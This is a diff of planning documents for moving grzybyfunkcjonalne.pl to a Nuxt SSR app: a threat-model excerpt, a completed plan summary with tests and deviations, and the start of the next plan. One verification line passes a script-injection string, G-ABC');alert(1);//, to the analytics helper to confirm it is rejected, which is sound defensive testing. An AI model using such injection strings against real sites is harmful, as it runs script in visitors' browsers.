| T-16-07 | Tampering | app.vue gaHeadScripts inline script | medium | mitigate | GA_ID_PATTERN (^G-[A-Z0-9]{4,20}$) gates the only interpolated value; malformed or empty ids emit no script (Task 3 acceptance) |
|
||||
| T-16-08 | Information Disclosure | analytics on staging | low | mitigate | gaId defaults to ''; staging leaves NUXT_PUBLIC_GA_ID empty (D-23); production sets G-MLSV7WJ6W4 only in the server env |
|
||||
| T-16-09 | Spoofing | /kontakt | low | accept | D-14 drops the form: no input surface, no new Go endpoint; mailto and tel links only (negative grep for a form element) |
|
||||
| T-16-SC | Tampering | npm/pnpm installs and the layer git dependency | high | mitigate | Exact versions only (nuxt 4.4.8, vue 3.5.35, typescript 5.9.3, already approved in RESEARCH Package Legitimacy Audit); the layer is pinned by tag and lockfile commit and installed with --frozen-lockfile; no new packages |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- `pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build` then `run smoke:ssr` and `run smoke:ga` print "smoke-ssr: ok".
|
||||
- The host has the vue-grzybyfunkcjonalne-app gitlink and its go vet and boot test stay green.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- The site app is SSR, pl-only, installed from layer tag v0.1.0 and mounted in the host (D-04, D-07, D-08, D-16).
|
||||
- Every PHP URL form from D-15 answers with the expected status on the fixture API.
|
||||
- Homepage, menu, FAQ, kontakt, trwaja-prace and error pages carry the current Polish copy in the refreshed design (D-11, D-12, D-14).
|
||||
- GA follows NUXT_PUBLIC_GA_ID (D-23).
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md` when done.
|
||||
</output>
|
||||
@@ -0,0 +1,306 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 02
|
||||
subsystem: frontend (Nuxt site app)
|
||||
tags: [nuxt, ssr, vue-journal-layer, i18n, nuxtjs-seo, swr, google-analytics, submodule]
|
||||
status: complete
|
||||
|
||||
requires:
|
||||
- phase: 16-01
|
||||
provides: "vue-journal-layer v0.1.0 (journal.routes, useJournalApi/useJournalLinks, gateJournalHtml, --journal-* tokens, testing/smoke-ssr.mjs and fixture-api.mjs)"
|
||||
provides:
|
||||
- "vue-grzybyfunkcjonalne-app repo (private, SSH) on git.golem15.com, main b50c808"
|
||||
- "submodule vue-grzybyfunkcjonalne-app in sm-grzybyfunkcjonalne-app (gitlink b50c808, pushed)"
|
||||
- "PHP URL map on the layer: /blog, /blog/:slug, /:category, /autor/:author, no tag pages; /404, /error and unknown roots 404"
|
||||
- "homepage, typed menu, FAQ, footer, /kontakt, /trwaja-prace, error.vue with the live Polish copy"
|
||||
- "GA through NUXT_PUBLIC_GA_ID only (gaHeadScripts, GA_ID_PATTERN)"
|
||||
- "smoke:ssr (35 checks) and smoke:ga (2 checks) on 14 fixture posts from the PHP export"
|
||||
affects: [16-03, 16-04, 16-05]
|
||||
|
||||
actuals:
|
||||
tokens: 30493 # chars/4 over the 44 tracked app files, pnpm-lock.yaml and public/ binaries excluded
|
||||
tasks: 3
|
||||
commits: 6 # 3 in vue-grzybyfunkcjonalne-app (git rev-list --count HEAD, new repo) + 3 in sm-grzybyfunkcjonalne-app (git rev-list --count ff20e6c..HEAD)
|
||||
commits: 6
|
||||
plan_head_before: ff20e6cce25628341c4c1e6b5879f1f3979baa2d # sm-grzybyfunkcjonalne-app; vue-grzybyfunkcjonalne-app started empty
|
||||
plan_head_after: 33bc5e04bfc2ad2c79c33b01c962d49ed21dd7cc # sm-grzybyfunkcjonalne-app; app repo main b50c808f88e43fd97072690e52bc9144efbcc3a8
|
||||
|
||||
tech-stack:
|
||||
added: ["vue-grzybyfunkcjonalne-app (new repo): nuxt 4.4.8, vue 3.5.35, typescript 5.9.3, vue-journal-layer git tag v0.1.0 (lock commit 783426c)"]
|
||||
patterns:
|
||||
- "Site app extends the layer with no modules key; journal.routes carries the site's URL shape"
|
||||
- "Visitor address recorded in event.context on the Nitro request hook, so swr-cached renders still forward X-Forwarded-For"
|
||||
- "Site copy in pl.json (HTML columns allowed via i18n compilation.strictMessage false), data in typed app/data files, every v-html through gateJournalHtml"
|
||||
- "Colours only in tokens.css (:root:root overrides of --journal-* plus --site-*); components hold no colour literals"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/error.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/index.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/kontakt.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/trwaja-prace.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/Journal/IndexHeader.vue
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/composables/useJournalApi.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/contact.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/base.css
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/server/plugins/client-address.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/server/plugins/html-errors.ts
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect-ga.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
|
||||
- .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/deferred-items.md
|
||||
modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/.gitmodules
|
||||
|
||||
key-decisions:
|
||||
- "Under routeRules swr the site app records the visitor address in event.context on the Nitro request hook and overrides useJournalApi to forward it, because Nitro's cached handler strips request headers and every SSR cache miss would otherwise share one Go rate-limit bucket; the proper fix belongs in vue-journal-layer (deferred-items.md)"
|
||||
- "Page URLs of the site answer errors with the HTML error page even for fetch-like requests (server/plugins/html-errors.ts); only /api/, /_ and .json paths keep Nuxt's JSON errors"
|
||||
- "Site rich-text copy stays in pl.json with i18n compilation.strictMessage false; contact data (email, phone) lives in app/data/contact.ts because an email address is not a valid vue-i18n message"
|
||||
- "The host sm-grzybyfunkcjonalne-app master was pushed to its empty remote together with the submodule mount"
|
||||
|
||||
patterns-established:
|
||||
- "App-side SSR smoke: layer smoke-ssr.mjs with app fixtures built from the PHP export by a script, one expectations file per environment variant"
|
||||
|
||||
requirements-completed: [SC-1, SC-3]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "The site app extends vue-journal-layer v0.1.0 from the git tag (lockfile commit 783426c), builds as an SSR Node server with swr route rules and is mounted as a submodule of sm-grzybyfunkcjonalne-app (D-04, D-07, D-08)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app install --frozen-lockfile && build -> ok; git -C ../sm-grzybyfunkcjonalne-app ls-files -s vue-grzybyfunkcjonalne-app -> 160000 b50c808"
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: "go -C ../sm-grzybyfunkcjonalne-app vet ./... && go test ./... -run '^(TestBootUserTranslateJournal)$' -> PASS"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Every D-15 URL form answers with the expected status: post by pl slug 200, base slug 404, /cordyceps with content, /amanita-muscaria 200, unknown roots, /rss, /feed, /404, /error 404, /blog?page=2 200, ?page=3 404, /en/blog 404, /autor/admin 200, /autor/nobody 404, /rss.xml RSS, sitemap entries (D-15, D-16, D-24)"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "pnpm run smoke:ssr -> smoke-ssr: ok (35 checks), tests/fixtures/expect.txt"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Homepage (hero, latest 3 posts, about, CTA, reasons, FAQ with 16 entries), menu with all 7 categories, footer, /kontakt with mailto and no form, /trwaja-prace, the PHP 404 copy and the blog header carry the live Polish copy (D-11, D-12, D-14)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "tests/fixtures/expect.txt homepage, kontakt, trwaja-prace, /404 and /blog lines in smoke:ssr (35 checks ok); ! grep -rn '<form' app -> no match"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "Google Analytics G-MLSV7WJ6W4 loads only with NUXT_PUBLIC_GA_ID; empty or malformed ids give no script (D-23, T-16-07)"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: "smoke:ssr '200 / notcontains=googletagmanager'; pnpm run smoke:ga -> smoke-ssr: ok (2 checks)"
|
||||
status: pass
|
||||
- kind: command
|
||||
ref: "node -e gaHeadScripts('') / gaHeadScripts(\"G-ABC');alert(1);//\") / gaHeadScripts('UA-123') -> [] each"
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D5
|
||||
description: "The refreshed design (Jost/Open Sans, green palette, roomier sections) reads as a cleaner successor of the arsha look on desktop and mobile (D-01, D-03)"
|
||||
verification: []
|
||||
human_judgment: true
|
||||
rationale: "Visual quality is a judgment call; the smoke only proves markup, copy and that components hold no colour literals. 16-04's staging checkpoint is the natural place to look at it."
|
||||
|
||||
duration: 16 min
|
||||
completed: 2026-10-09
|
||||
---
|
||||
|
||||
# Phase 16 Plan 02: vue-grzybyfunkcjonalne-app Summary
|
||||
|
||||
**grzybyfunkcjonalne.pl is now a Nuxt 4 SSR app that extends `vue-journal-layer` v0.1.0 from its git tag. It answers the PHP site's URLs (`/blog`, `/blog/:slug`, `/:category`, `/autor/:author`, `/kontakt`, `/trwaja-prace`) with full HTML, returns real 404s where the PHP site soft-200'd, and carries the live Polish homepage, menu, FAQ, footer and error copy in a refreshed green design. Analytics loads only from `NUXT_PUBLIC_GA_ID`. The app is pushed (private, SSH) and mounted as a submodule of `sm-grzybyfunkcjonalne-app`.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 16 min (wall clock as measured by `date`)
|
||||
- **Started:** 2026-10-09T16:11:41Z
|
||||
- **Completed:** 2026-10-09T16:28:10Z
|
||||
- **Tasks:** 3 (Task 1 a tracer, auto-verified end to end before expansion)
|
||||
- **Files:** 44 tracked files in the new app repo; `.gitmodules` and the gitlink in the host
|
||||
|
||||
## Accomplishments
|
||||
|
||||
- **URL parity (D-15, D-16, D-24).** `journal.routes` is `{ index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false }`, with page sizes 12/10/10 as in `blog.htm`, `index.htm` and `autor.htm`. Static pages win over `/:category`.
|
||||
- Unknown roots, `/rss`, `/feed`, `/404` and `/error` all answer 404.
|
||||
- `/amanita-muscaria` answers 200 with an empty list.
|
||||
- Posts answer on the Polish slug only, and `/en/blog` is a 404.
|
||||
- **SSR with swr (D-07).** `'/**'` is cached 300 s and `'/blog/**'` 120 s on the Node server. Pages stay full HTML.
|
||||
- **Content port (D-11, D-12, D-14).** All Polish copy comes from the live HTML (curl, 2026-10-09):
|
||||
- Homepage: hero, latest 3 posts (layer `JournalPostCard`), "Czym są grzyby funkcjonalne?" with both rich-text columns, "Skorzystaj z wiedzy ekspertów", "Dlaczego warto?" with 4 reasons, and the FAQ (16 Q&A in `app/data/faq.pl.json`).
|
||||
- `MAIN_MENU` is typed config. Its `journal-categories` dropdown lists all 7 categories from the API, the empty one included.
|
||||
- Footer: address, `tel:` and `mailto:` links, footer and project links, X profile.
|
||||
- `/kontakt` shows the contact details only, with no form.
|
||||
- `/trwaja-prace` shows "Niebawem".
|
||||
- `error.vue` shows the PHP 404 copy ("Nie Znaleziono / Nie znaleziono tej strony") or the error copy ("Wystąpił Błąd / Spróbuj ponownie za chwilę").
|
||||
- The blog hero overrides `JournalIndexHeader`: "Artykuły" with "Przeczytaj nasze artykuły…", plus "Strona N" after page 1.
|
||||
- **Design (D-01, D-03).**
|
||||
- Colours: `tokens.css` overrides `--journal-*` on `:root:root` and adds `--site-*` tokens seeded from #0D705D, #27AE60, #138C74, #1AAC8F and #444444.
|
||||
- Fonts: Jost for headings and Open Sans for body text, self-hosted by `@nuxt/fonts`.
|
||||
- `base.css` holds the global styles with breakpoints at 768px and 1100px. Components contain no colour literals.
|
||||
- The layer is unchanged.
|
||||
- **Analytics (D-23).** `gaHeadScripts(id)` returns nothing for an empty id or one that fails `GA_ID_PATTERN`. Otherwise it returns the gtag loader and config script. `app.vue` feeds it `runtimeConfig.public.gaId`.
|
||||
- **SEO.**
|
||||
- `robots.txt` disallows `/gfadmin` and `/_journal`.
|
||||
- The sitemap lists posts and every category but not `/trwaja-prace`.
|
||||
- `linkChecker` skips Go-served paths.
|
||||
- Titles take the form `Witamy | Grzyby Funkcjonalne` (the homepage), as on the live site.
|
||||
- **Tests.** `tests/fixtures/api` holds 14 published posts generated from the PHP journal export (pl text, Go wire dates, the admin author the 16-03 runbook assigns) and the 7 PHP categories. `smoke:ssr` runs 35 checks and `smoke:ga` runs 2.
|
||||
|
||||
## Task Commits
|
||||
|
||||
App repo `vue-grzybyfunkcjonalne-app` (branch `main`, pushed over SSH):
|
||||
|
||||
1. **Task 1 (tracer): the app on layer v0.1.0 with the PHP URL map, mounted in the host.** `2b2d1c7` (feat). Host: `467d0a0` (chore: mount vue-grzybyfunkcjonalne-app submodule).
|
||||
2. **Task 2: homepage, typed menu, FAQ and footer.** `caf4d3f` (feat). Host: `6063e9b` (chore: point vue-grzybyfunkcjonalne-app at the homepage).
|
||||
3. **Task 3: kontakt, trwaja-prace, error pages, blog header, runtime GA and README.** `b50c808` (feat). Host: `33bc5e0` (chore: point vue-grzybyfunkcjonalne-app at kontakt and analytics).
|
||||
|
||||
The tracer gate was auto mode off, `end-of-phase` and automated-only `<verify>`. The tracer verify was re-run (install, build, smoke, gitlink, host vet and boot test all passed) before expansion.
|
||||
|
||||
**Remote state:**
|
||||
|
||||
- App `refs/heads/main` is at `b50c808`.
|
||||
- The host `master` is at `33bc5e0`. The remote was empty, so this was its first push, made together with the mount.
|
||||
|
||||
**Plan metadata:** the docs commit in summercms.go (this SUMMARY, `deferred-items.md`, STATE, ROADMAP, REQUIREMENTS).
|
||||
|
||||
## Files Created/Modified
|
||||
|
||||
All of these are in `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (new repository) unless noted:
|
||||
|
||||
- `package.json`, `pnpm-lock.yaml`, `pnpm-workspace.yaml`, `.nvmrc`, `.gitignore`, `tsconfig.json`: the package.
|
||||
- Scripts: build, dev, preview, prepare, `smoke:ssr` and `smoke:ga`.
|
||||
- Dependencies: nuxt 4.4.8, vue 3.5.35 and the layer tag. The layer's modules are not re-listed.
|
||||
- `nuxt.config.ts`: config for the layer, routes, i18n, site, routeRules, runtime config, robots, sitemap, linkChecker, css and fonts.
|
||||
- `app/app.vue` and `app/error.vue`; `app/layouts/default.vue` (header, main, footer, with Journal routes inside `.journal-layout`).
|
||||
- `app/pages/{index,kontakt,trwaja-prace}.vue`.
|
||||
- `app/components/{SiteHeader,SiteFooter,HeroSection,LatestPosts,AboutSection,CtaSection,ServicesSection,FaqSection,PageHero}.vue` and `app/components/Journal/IndexHeader.vue`.
|
||||
- `app/data/{menu.ts,contact.ts,faq.pl.json}`, `app/utils/analytics.ts`, `app/composables/useJournalApi.ts`.
|
||||
- `server/plugins/{client-address,html-errors}.ts`.
|
||||
- `app/assets/css/{tokens,base}.css`, `i18n/locales/pl.json`.
|
||||
- `public/favicon.ico`, `public/images/{hero-forest.webp,cta.png}`.
|
||||
- `tests/fixtures/api/{posts,categories,tags,authors}.json`, `tests/fixtures/api/rss.xml`, `tests/fixtures/{expect,expect-ga}.txt`.
|
||||
- `README.md`.
|
||||
- In the host: `../sm-grzybyfunkcjonalne-app/.gitmodules` and the `vue-grzybyfunkcjonalne-app` gitlink.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
See `key-decisions` in the frontmatter. Smaller choices:
|
||||
|
||||
- **Button targets.** The hero "Czytam", the CTA "Czytam" and "Poznaj naszą misję" all link to `/blog`. On the live site they pointed at `#`.
|
||||
- **Homepage meta description.** It is the live one, "Odkryj Sekrety Natury dla Lepszego Zdrowia". `site.description` keeps the tagline.
|
||||
- **Footer labels.** They read "Telefon" and "E-mail". The live labels were the English "Phone number" and "Email".
|
||||
- **FAQ heading.** It is kept verbatim from the live page, including its typo ("Grzyby funcjonalne - Pytania i Odpowiedzi").
|
||||
- **Social link.** The live footer renders no social links, but the sitemanager data holds `https://x.com/ophiel118`, which the plan names. The footer shows it.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 2 - Missing critical] Visitor address lost on swr-cached SSR renders**
|
||||
- **Found during:** Task 1 (first smoke run: `smoke-ssr: FAIL x-forwarded-for not forwarded`).
|
||||
- **Issue:** Nitro's cached handler (used for `routeRules` swr) renders from a request copy that keeps only `varies` headers. The layer's `useJournalApi` therefore forwarded only the Nuxt peer address. Every cache miss, including attacker-chosen query strings, would share the Go limiter's 120/min bucket (Pitfall 5, T-16-03).
|
||||
- **Fix:**
|
||||
- `server/plugins/client-address.ts` records `x-forwarded-for` plus the peer in `event.context` on the Nitro `request` hook. The context object is shared with the cached render.
|
||||
- `app/composables/useJournalApi.ts` overrides the layer composable (the project wins over a layer by import priority) and forwards that value.
|
||||
- The layer is unchanged. The layer fix is logged in `deferred-items.md`.
|
||||
- **Files modified:** `server/plugins/client-address.ts`, `app/composables/useJournalApi.ts` (both new, outside the plan's file list).
|
||||
- **Verification:** The smoke's forwarding assertion passes on every run.
|
||||
- **Commit:** 2b2d1c7.
|
||||
|
||||
**2. [Rule 3 - Blocking] Nuxt answered error pages with JSON to the smoke's fetch**
|
||||
- **Found during:** Task 2 (inspecting `/nieistnieje`).
|
||||
- **Issue:** Node's fetch sends `sec-fetch-mode: cors`, so Nuxt's error handler returned JSON. The plan's `404 /404 contains=Nie znaleziono tej strony` could never pass. A curl-based check would hit the same thing.
|
||||
- **Fix:** `server/plugins/html-errors.ts` adds `text/html` to `Accept` for page paths that do not ask for JSON. `/api/`, `/_…` and `.json` paths keep Nuxt's behaviour. Client navigation uses `_payload.json`, so it is unaffected.
|
||||
- **Verification:** `404 /404 contains=Nie znaleziono tej strony` passes.
|
||||
- **Commit:** b50c808.
|
||||
|
||||
**3. [Rule 1 - Bug in plan data] Homepage "latest post" expectation**
|
||||
- **Issue:** The plan's line `200 / contains=Najnowsze Badania nad Cordycepsem` assumed the cordyceps post is among the 3 newest. With the real export dates (2024-06-12) and a fixture set covering all 6 categories, it is not. The 3 newest are Lion's Mane posts from October 2024.
|
||||
- **Fix:** The fixtures keep the true dates. The homepage lines check the actual newest titles ("Jak Dawkować Lion…", "Wprowadzenie do Grzyba Lwia Grzywa"), which matches the acceptance wording "the latest post title from the fixtures". The cordyceps title is still checked on its own post page.
|
||||
- **Commit:** caf4d3f.
|
||||
|
||||
**4. [Rule 3 - Blocking] `smoke:ga` could not observe forwarding with a single `/` line**
|
||||
- **Issue:** `nuxt-server.mjs`'s readiness probe renders `/` into the swr cache, so the GA run's `/` request made no API call. The smoke's forwarding assertion then failed.
|
||||
- **Fix:** `expect-ga.txt` also checks the gtag config on `/blog`, an uncached page.
|
||||
- **Commit:** b50c808.
|
||||
|
||||
**5. [Rule 3 - Blocking] Build constraints**
|
||||
- `app.head.htmlAttrs.lang` was removed after nuxt-seo-utils flagged it. i18n renders `lang="pl-PL"`.
|
||||
- `i18n.compilation.strictMessage: false` was added, because `@nuxtjs/i18n` rejects HTML in locale messages by default and the plan stores the about columns as HTML strings in `pl.json`. All such HTML is still gated before `v-html`.
|
||||
- **Commits:** 2b2d1c7, caf4d3f.
|
||||
|
||||
**6. [Scope adjustment] favicon.ico**
|
||||
- The live `/favicon.ico` is a soft-200 HTML page, so there were no original bytes to keep.
|
||||
- `public/favicon.ico` (16/32/48) was converted with ImageMagick from the live icon (`thumb_105_64…webp`). The hero and CTA images are byte-identical copies.
|
||||
- **Commit:** caf4d3f.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 6 (2 Rule 2/3 security and correctness fixes in new app files, 1 plan-data correction, 2 build/test blockers, 1 asset substitution).
|
||||
**Impact on plan:** All artifacts and key links in the plan exist. The two server plugins and the composable override are additions; they change no route, option or copy.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **pnpm store workaround.** The sandbox `/tmp` pnpm store is read-only, so installs ran with `TMPDIR=<scratchpad>` and `npm_config_store_dir`/`pnpm_config_store_dir` pointed at the project-drive store, as in 16-01.
|
||||
- **Font metadata fetches.** `@nuxt/fonts` retries metadata fetches to fonts.bunny.net and api.fontshare.com, which the sandbox blocks. These are warnings only, and the builds succeed.
|
||||
- **Pre-existing host state.** The host working tree shows ` m plugins/golem15/journal` (submodule working tree drift) and an untracked `.gsd/`. Both predate this plan and were left alone; only `.gitmodules` and the app gitlink were committed.
|
||||
- **Host push.** The host remote `sm-grzybyfunkcjonalne-app` had no branches (`origin/master [gone]`). Pushing `master` created it with the full local history.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None. Every section renders real data or committed copy.
|
||||
|
||||
`featured_image_url` is `null` in the fixtures because the export carries no images; 16-03 migrates them. Cards then render without an image, the same as for any post without one.
|
||||
|
||||
## Threat Flags
|
||||
|
||||
| Flag | File | Description |
|
||||
|------|------|-------------|
|
||||
| threat_flag: header-trust | server/plugins/client-address.ts | Copies the client-supplied `x-forwarded-for` plus the peer address into the SSR fetch header, the same values the layer forwards. Go reads the rightmost untrusted hop and trusts only 127.0.0.1, so a client still cannot pick another visitor's bucket. Same trust model as T-16-03. |
|
||||
| threat_flag: error-format | server/plugins/html-errors.ts | Rewrites `Accept` on page paths so errors render as HTML. It does not touch `/api/`, `/_…` or `.json` paths and does not expose more data than the JSON error did. |
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None for this plan. Production sets `NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4` through the 16-03 env template.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- **16-03** builds `.output` from the submodule and runs it with `NUXT_JOURNAL_API_BASE` and `NUXT_SITE_INDEXABLE=false` on staging.
|
||||
- Its curl-based smoke gets HTML error pages for page paths thanks to `html-errors.ts`.
|
||||
- The Go limiter must trust 127.0.0.1 so the forwarded XFF is honoured; the host `config/http.yaml` already does.
|
||||
- **16-05** unit tests:
|
||||
- `app/utils/analytics.ts` (`GA_ID_PATTERN`, `gaHeadScripts`) and `app/data/*` shape checks (16 FAQ items, `MAIN_MENU` kinds) can run under `node --test`.
|
||||
- The two server plugins are small enough to unit-test with a stub event.
|
||||
- **Layer follow-ups** are in `deferred-items.md`: forward the client address under swr in the layer, and give the smoke tool an `Accept: text/html` default.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: app files `nuxt.config.ts`, `app/data/menu.ts`, `app/data/faq.pl.json`, `app/utils/analytics.ts`, `tests/fixtures/expect.txt`, `tests/fixtures/expect-ga.txt`, `README.md`, and the host `.gitmodules` entry with url `git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git`.
|
||||
- FOUND: app commits 2b2d1c7, caf4d3f and b50c808 on origin/main; host commits 467d0a0, 6063e9b and 33bc5e0 on origin/master.
|
||||
- Plan verification:
|
||||
- `pnpm install --frozen-lockfile` and `build` both passed.
|
||||
- `smoke:ssr` printed `smoke-ssr: ok (35 checks)` and `smoke:ga` printed `smoke-ssr: ok (2 checks)`.
|
||||
- The host gitlink is `160000 b50c808`, and host `go vet ./...` and `TestBootUserTranslateJournal` pass.
|
||||
- The `<form` grep over `app/` and the hex-colour grep over components and pages match nothing.
|
||||
- The lockfile pins `783426c5d84c5d7c088f1e74b01c5240811c88d2` (tag v0.1.0).
|
||||
|
||||
---
|
||||
*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
|
||||
*Completed: 2026-10-09*
|
||||
@@ -0,0 +1,327 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["16-02"]
|
||||
files_modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/config/backend.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/boot_test.go
|
||||
- ../sm-grzybyfunkcjonalne-app/summer.yaml
|
||||
- ../sm-grzybyfunkcjonalne-app/go.work
|
||||
- ../sm-grzybyfunkcjonalne-app/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/go.sum
|
||||
- ../sm-grzybyfunkcjonalne-app/main.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins.gen.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/plugin.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/map.jsonl
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/uploads/665/f1e/2a3/665f1e2a3b4c5d6e7f8091.png
|
||||
- ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/categories/map.jsonl
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/build.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/featured-images.sql
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/categories.sql
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/.gitignore
|
||||
- .planning/todos/pending/journal-imported-html-admin-resave.md
|
||||
autonomous: true
|
||||
requirements: [SC-1, SC-3]
|
||||
user_setup:
|
||||
- service: local PostgreSQL (rehearsal database)
|
||||
why: "Docker is not usable for this user, so scripts/smoke.sh needs a Postgres >= 15 with ICU and a role that may CREATE DATABASE to rehearse the migration runbook on a throwaway database"
|
||||
env_vars:
|
||||
- name: SMOKE_ADMIN_DSN
|
||||
source: "A DSN to the local postgres maintenance database for a role with CREATEDB, e.g. postgres://<role>:<password>@127.0.0.1:5432/postgres?sslmode=disable"
|
||||
estimate:
|
||||
tokens: 140000
|
||||
raw_tokens: 140000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-09: the admin is mounted at /gfadmin through backend.uri: /gfadmin in config/backend.yaml; no assembled route starts with /backend, and nginx answers 404 for /backend."
|
||||
- "D-22: grzyby:import-featured-images reads a JSONL slug-to-file map from a PHP database query, copies each original into the Go bucket under its Winter disk name (attach.BlobKey) and inserts the system_files row for the Journal post, so old /storage/app/uploads/public/... image URLs keep resolving; a second run creates nothing."
|
||||
